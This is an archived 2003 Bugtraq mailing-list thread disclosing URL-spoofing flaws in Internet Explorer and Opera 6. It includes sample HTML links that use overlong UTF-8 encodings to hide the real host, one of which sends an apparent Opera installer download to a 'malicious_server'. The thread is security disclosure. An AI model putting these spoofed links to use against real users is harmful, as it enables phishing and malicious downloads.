bugtraq - Re: Internet Explorer URL parsing vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <20031223092536.BAA3.NESUMIN@softhome.net>
Date: Tue, 23 Dec 2003 09:27:09 +0900
From: "nesumin" <nesumin@...thome.net>
To: bugtraq@...urityfocus.com
Subject: Re: Internet Explorer URL parsing vulnerability


I have tested this bug on Opera 6.06/7.23 at Win2k.SP4/Win98SE
Japanese.

Opera 7.23 was not effected by this bug but Opera 6.06 had
a similar bug.

Example:
  http://www.fake_server.com%C0%80@....real_server.com/

When Opera 6.06 which "Encoding all addresses with UTF-8"
(Opera's network setting) is enabled opens the URL above,
"%C0%80" will be converted to "\x0000" (*1)  and
Opera opens "http://www.real_server.com/" showing
"http://www.fake_server.com" in the address bar or
some JavaScript objects and so forth.

And Opera 6.06 shows a URL Warining Dialog before it goes to a URL that
contains a username so that a user will see the real server's name
in HTTP/HTTPS.
But in FTP, it does not shows a URL Warining Dialog so that
a user cannot see the real information.


Sample Code (for Opera 6) :

  <a href="http://www.fake_server.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%80@....opera.com/">
  http://www.fake_server.com/fake_path/fake_filename.html
  </a>

  <a href="ftp://ftp.opera.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@...icious_server/ow32enen723.exe">
  ftp://ftp.opera.com/pub/opera/win/723/en/std/ow32enen723.exe
  </a>


*1 Opera 6 has a "UTF-8 Decode Bug".
   "\xC0\x80" .. "\xC0\xBF", "\xC1\x80" .. "\xC1\xBF" are mapped to
   "\x0000" .. "\x003F", "\x0040" .. "\x007F".
   Due to this bug, Opera 6 has so many troubles.


Thanks.

nesumin


-----Original Message-----
From: <bugtraq@...thedingbat.com>
Sent: 9 Dec 2003 14:44:16 -0000
To: bugtraq@...urityfocus.com
Subject: Internet Explorer URL parsing vulnerability


> 
> 
> Internet Explorer URL parsing vulnerability
> Vendor Notified 09 December, 2003
> 
> # Vulnerability ##########
> There is a flaw in the way that Internet Explorer displays URLs in the address bar.
> 
> By opening a specially crafted URL an attacker can open a page that appears to be from a different domain from the current location. 
> 
> # Exploit ##########
> By opening a window using the http://user@...ain nomenclature an attacker can hide the real location of the page by including a 0x01 character after the "@" character.
> Internet Explorer doesn't display the rest of the URL making the page appear to be at a different domain. 
> 
> # POC ##########
> http://www.zapthedingbat.com/security/ex01/vun1.htm
> 
> # Tested ##########
> Internet Explorer
> Version 6.0.2800.1106C0
> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
> 
> # Credit ##########
> Zap The Dingbat
> http://www.zapthedingbat.com/